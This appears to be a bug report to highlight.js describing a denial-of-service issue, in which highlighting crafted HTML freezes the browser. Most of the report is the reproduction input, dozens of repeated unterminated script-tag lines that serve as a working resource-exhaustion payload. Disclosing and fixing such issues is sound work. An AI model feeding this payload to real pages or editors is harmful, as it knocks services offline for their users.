Open
Description
Describe the issue/behavior that seems buggy
While testing our code, we found that we could make our 'markdown editor' crash.
After some additional research, I found that the highlighting caused it.
I also decided to test the POC on the demo page of highlight.js, and there it also uses a lot of resources.
The browser will eventually show the 'This page isn't responding' pop-up
Sample Code or Instructions to Reproduce
<body>
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
<script>self.__next_f.push([1,":[\"
</body>Expected behavior
Page doesn't crash
Additional context
I submitted this to security@highlightjs.org, but didn't get any response.
This can be used to impact the availability of a webpage.